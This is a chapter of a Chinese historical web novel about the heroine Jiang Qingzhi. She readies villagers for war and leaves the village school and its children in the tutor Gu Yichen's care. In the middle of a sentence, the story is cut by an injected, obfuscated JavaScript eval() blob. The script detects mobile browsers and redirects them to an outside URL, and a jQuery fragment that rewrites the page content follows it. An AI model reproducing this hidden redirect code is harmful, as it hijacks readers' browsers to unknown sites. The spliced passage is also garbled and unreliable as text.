“不会有事的。”


    姜清芷轻声说，却在摸向酒囊时顿住——羊皮囊上不知何时被划开道口子，酒液早已漏光，只剩几滴残酒在暮色里闪着微弱的光。


    她望着远处星星点点的灯火，想起王婶塞的虎头鞋垫还在怀里，触感温热。


    “今晚让大家好好睡一觉，明日卯时在村头集合。”


    她解下披风披在小桃肩上，铠甲下的中衣已被冷汗浸透，


    “你去告诉伙房，把陈墨白送的腊肉都拿出来，再煮些粟米粥……”


    “小姐您还没吃饭！”


    小桃忽然抓住她的手腕，触到她掌心的茧子——那是常年握鞭磨出的硬痂。


    自从青枫谷之战后，姜清芷就再没睡过一个囫囵觉，小桃知道，主子的梦里全是刀光剑影，全是百姓的哭声。


    “我不饿。”


    姜清芷抽回手，却在看见小桃腰间的血玉坠子时愣住——那是今早她塞给小桃的贴身之物，此刻正被小桃用红绳仔细系在腰带上，像系着一团不肯熄灭的火。


    更夫的梆子声再次传来，这次是三声，已是子时。


    漠沙城的灯火次第熄灭，唯有姜府方向还亮着几盏灯，那是顾夫子在给孩子们收拾行装。


    姜清芷望着天空，见启明星已微微发亮，想起陈墨白说过：


    “启明星升起时，就是该出发的时候。”


    “走吧。”


    她轻声说，伸手替小桃理了理歪掉的发簪，


    “等打完这一仗，咱们就回来，种更多的麦子，盖更高的粮仓，让孩子们都能吃饱饭……”


    小桃望着她眼底跳动的微光，忽然想起三年前那个雪夜，姜清芷也是这样站在院子里，望着漫天飞雪说：


    “总有一天，这世道会变的。”


    那时她以为只是句空话，此刻却忽然相信，眼前这个浑身是伤的女子，真的能劈开这乱世的黑夜。


    两人并肩走向青河村，鞋底碾碎路边的枯草，发出细碎的声响。


    远处传来狼嚎，却很快被此起彼伏的虫鸣声盖过。


    小桃摸了摸腰间的血玉坠子，又摸了摸怀里的名册，忽然觉得那些密密麻麻的名字不再只是字迹，而是一个个鲜活的人，是她和姜清芷要守护的希望。


    启明星越发明亮，像一枚钉在天幕上的银钉。


    姜清芷抬头望着它，想起父亲临终前说的话：


    “星星不会照亮所有人，但总有人会跟着光走。”


    她摸了摸袖中的袖弩，弩箭的棱角隔着布料硌着皮肤，却让她感到踏实——只要还有武器，还有人愿意跟着她，这仗，就有赢的可能。


    “小桃，”


    她忽然开口，声音里带着几分难得的柔和，


    “等打完这一仗，你想做什么？”


    小桃愣了愣，望着天边渐渐泛白的云，轻声说：


    “我想……开个粥棚，就像小姐当年救我的那个粥棚一样，让天下的孩子都能喝上热粥。”


    姜清芷笑了，眼尾的丹砂痣在晨光中微微发亮：


    “好，咱们一起开。”


    天边的第一缕阳光爬上城头时，两人终于走到青河村头。


    村口的老槐树下，阿梨正带着孩子们整理行李，苏砚蹲在地上给几个少年讲解火药包的用法，顾夫子则在分发干粮。


    看见姜清芷，阿梨举起手里的蜜糕：


    “小姐，小桃姐姐说您没吃饭，这个给您！”


    姜清芷接过蜜糕，咬了一口，甜得发腻，却暖到心里。


    她望着眼前的孩子们，望着远处整装待发的青壮劳力，忽然觉得喉咙发紧——这不是难过，她告诉自己，是晨光太亮了，亮得让人流泪。


    姜清芷抬手按住腰间晃动的血玉坠子，目光扫过台下骤然安静的人群。


    晨光在她甲片上碎成金箔，却在触及顾夫子青衫时软下来：


    “今日不征人，只让你们回家抱一抱爹娘，摸一摸灶台。”


    她顿了顿，九节鞭尾端轻轻敲了敲讲案，


    “明日卯时三刻，若有人后悔，站到学堂外的老槐树下——我姜清芷绝不强人所难。”


    堂中响起细碎的私语。阿梨攥着顾夫子的袖口，眼尾还沾着未干的泪痕：


    “夫子不去边关吗？那谁教我们读《从军行》？”


    顾逸尘刚要开口，却见姜清芷转身从书架上抽出本《千字文》，书页间滑落片干枯的枫叶——那是去年秋天他带孩子们去山上采的。


    “顾夫子的战场不在边关，”


    她将书轻轻放回原处，


    “是这里。”


    指尖划过蒙着灰尘的砚台，


    “青河村的孩子，不能连自己的名字都不会写；猎户家的女儿，该知道星星叫什么名字。”


    “可是小姐……”


    顾逸尘望着她肩甲上的刀痕。他记得她曾说过，


    “书生握剑，方能护得文脉”。


    “还记得陈墨白的话吗？”


    姜清芷忽然压低声音，


    “‘斩尽胡虏须年少，留得书种待春回’。”


    她从怀里掏出叠得方方正正的户籍册，


    “这里记


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883894|166364||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着三百二十七个孩童的名字，最小的才四岁。你教他们识字，教他们算粮，等咱们打赢了这场仗——”


    她忽然笑了，眼尾丹砂痣随表情扬起，


    “这些孩子，要成为新的将军，新的谋士，新的……”


    她没说完，却用指尖重重敲了敲自己的太阳穴。


    顾逸尘忽然明白，为什么昨夜看见她在油灯下修改《农书》批注，为什么她坚持在每个庄子设义学。


    他接过户籍册，纸页间还带着她身上的硝烟味：


    “小姐放心，顾某定当以学堂为营垒，教出比刀剑更锋利的文脉。”


    这时小桃抱着木盆进来，里面装着新蒸的粟米饼：


    “小姐，干粮已备了七成，剩下的……”


    她瞥见顾夫子手中的户籍册，忽然噤声。


    姜清芷转身时，正看见苏砚蹲在角落里给孩子们分发算筹。


    少年们的手在阳光下接过竹筹，像接过小小的兵器。


    她忽然想起父亲书房里的对联：


    “愿以深心奉尘刹，不予自身求安乐”。


    此刻晨光穿过窗棂，在顾夫子的青衫上织就书册的影子，她终于确信，这乱世里的火种，从来不是单靠刀剑就能守住的。


    “阿梨，”


    她招手叫过小女孩，将块蜜糕塞进她手里，


    “明日出发时，替我看看老槐树的年轮——那树上该又多了一道疤。”


    阿梨咬着蜜糕点头，忽然指着窗外：


    “小姐你看，顾夫子在教虎娃写‘安’字！”


    姜清芷望去，见顾逸尘正握着虎娃的手，在青石板上一笔一划地写。


    夕阳的余晖漫过学堂外墙，将“安”字的最后一捺染成金色。


    她摸了摸袖中的袖弩，忽然觉得那些冰冷的兵器，此刻都有了温度——因为它们要守护的，不只是疆土，更是这样一笔一划写出来的、带着墨香的希望。


    暮色渐浓时，她独自走到老槐树下。树皮上果然多了道新刻的刀痕，旁边歪歪扭扭写着“苏砚到此一游”。


    她轻笑一声，用指尖抚过那道痕迹，忽然听见身后传来脚步声。


    “小姐。”


    苏砚抱着捆硫磺，跑得气喘吁吁，


    “顾夫子说，明日出发前要给每人发支毛笔——”


    “发吧。”


    姜清芷打断他，看着天边最后一缕霞光，


    “让他们把名字写在衣襟上，若真到了那一步……”


    她没说完，却见苏砚郑重其事地点头，算筹在怀里碰撞出清脆的声响。